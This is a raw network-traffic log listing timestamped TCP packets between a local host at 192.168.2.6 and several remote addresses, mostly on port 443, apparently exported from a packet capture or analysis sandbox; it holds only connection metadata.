Nov 30, 2024 04:12:32.623596907 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.623603106 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.746436119 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.746922970 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.746953964 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.747421980 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.747428894 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.752899885 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.753237963 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.753262997 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.753690958 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.753698111 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.832393885 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.832458973 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.832515001 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.832674026 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.832690954 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.832700968 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.832705021 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.835669041 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.835705996 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.835772038 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.835903883 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.835917950 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.899367094 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.899955034 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.899986982 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.900444031 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.900449038 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.052520990 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.052592993 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.052645922 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.052969933 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.052985907 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.052998066 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.053004026 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.081788063 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.081829071 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.081888914 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.082401991 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.082411051 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.190613985 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.190682888 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.190733910 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.191205978 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.191220999 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.191236973 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.191241980 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.196810961 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.196867943 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.196937084 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.197760105 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.197760105 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.197782040 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.197792053 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.198394060 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.198419094 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.198484898 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.199342012 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.199353933 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.201047897 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.201085091 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.201145887 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.201283932 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.201294899 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.343394041 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.343471050 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.343522072 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.344989061 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.345005989 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.345043898 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.345047951 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.358019114 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.358042955 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:33.358103991 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.358516932 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:33.358525038 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.616764069 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.651335001 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.651393890 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.651992083 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.652009010 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.816932917 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.865632057 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.880500078 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.880513906 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.881052017 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.881057978 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.918967009 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.922981024 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.923002005 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:34.923758984 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:34.923765898 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.043792963 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.067434072 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.067503929 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.067573071 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.092200041 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.137906075 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.187251091 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.261584997 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.261665106 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.261852026 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.354034901 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.354099989 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.354156971 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.712935925 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.712980986 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.713512897 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.713520050 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.713680029 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.713704109 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.713702917 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.713716984 CET	49769	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.713725090 CET	443	49769	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.713730097 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.713740110 CET	49767	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.713746071 CET	443	49767	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.718430996 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.718466997 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.718480110 CET	49766	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.718487978 CET	443	49766	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.761779070 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.761795998 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.762258053 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.762263060 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.986601114 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.986649036 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.986711025 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.992440939 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.992454052 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.995286942 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.995306969 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.995374918 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.995603085 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.995615005 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.998152971 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:35.998162031 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:35.998228073 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.038850069 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.038866997 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.048628092 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.048712969 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.048769951 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.049845934 CET	49768	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.049854994 CET	443	49768	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.056505919 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.056540012 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.056771040 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.059626102 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.059638977 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.086638927 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.086724997 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.086776018 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.105701923 CET	49770	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.105709076 CET	443	49770	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.110708952 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.110735893 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:36.111017942 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.111743927 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:36.111761093 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.716216087 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:37.716275930 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:37.716528893 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:37.717175007 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:37.717191935 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:37.792238951 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.792762995 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.792795897 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.798793077 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.798799038 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.817809105 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.818387032 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.818464994 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.819000006 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.819030046 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.830276966 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.830800056 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.830822945 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.831522942 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.831528902 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.839138985 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.839462042 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.839498043 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.840133905 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.840146065 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.941262007 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.948849916 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.948874950 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:37.949790955 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:37.949796915 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.261706114 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.261763096 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.261878967 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.263319969 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.263345003 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.263365984 CET	49779	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.263372898 CET	443	49779	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.265604973 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.265674114 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.265851021 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.266796112 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.266796112 CET	49781	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.266815901 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.266829014 CET	443	49781	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.269058943 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.269100904 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.269253016 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.275527954 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.275567055 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.275691032 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.276197910 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.276211977 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.276689053 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.276705027 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.294904947 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.294966936 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.295136929 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.295677900 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.295686960 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.295700073 CET	49777	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.295705080 CET	443	49777	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.298906088 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.298922062 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.299205065 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.299571037 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.299581051 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.394539118 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.394603014 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.394711971 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.395649910 CET	49780	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.395664930 CET	443	49780	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.400861979 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.400892019 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:38.401083946 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.401230097 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:38.401242971 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:39.739789963 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:39.739837885 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:39.739919901 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:39.740248919 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:39.740264893 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:39.989456892 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:39.989537001 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:39.990438938 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:39.995816946 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:39.995831013 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:39.996090889 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:39.997332096 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:39.997464895 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:39.997468948 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:39.997654915 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:40.014195919 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.030462980 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.043340921 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:40.050946951 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.050966024 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.051711082 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.051717043 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.062679052 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.087466002 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.087476969 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.087961912 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.087966919 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.116063118 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.122164965 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.159591913 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.161063910 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.161072969 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.162401915 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.162405968 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.162883043 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.162900925 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.163388014 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.163393974 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.425038099 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.425106049 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.425180912 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.449261904 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.449335098 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.451078892 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.452338934 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.452363968 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.452380896 CET	49789	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.452388048 CET	443	49789	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.472119093 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.472145081 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.472156048 CET	49790	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.472163916 CET	443	49790	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.542051077 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.542108059 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.542179108 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.542599916 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.542622089 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.544522047 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.544553041 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.544740915 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.545079947 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.545090914 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.550621986 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:40.550740957 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:40.550852060 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:40.551198006 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.551244020 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.551294088 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.553498983 CET	49786	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:40.553509951 CET	443	49786	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:40.575735092 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.575805902 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.576165915 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.576410055 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.576427937 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.576437950 CET	49791	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.576443911 CET	443	49791	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.768734932 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.768734932 CET	49788	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.768759966 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.768771887 CET	443	49788	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.778028011 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.778074026 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.778136969 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.780116081 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.780131102 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.781202078 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.781213999 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:40.781265974 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.781418085 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:40.781429052 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.170279026 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:41.174051046 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:41.174114943 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:41.174190044 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:41.175440073 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:41.175455093 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:41.486609936 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:41.487144947 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:41.487165928 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:41.488184929 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:41.488265991 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:41.492132902 CET	49793	443	192.168.2.6	142.250.181.100
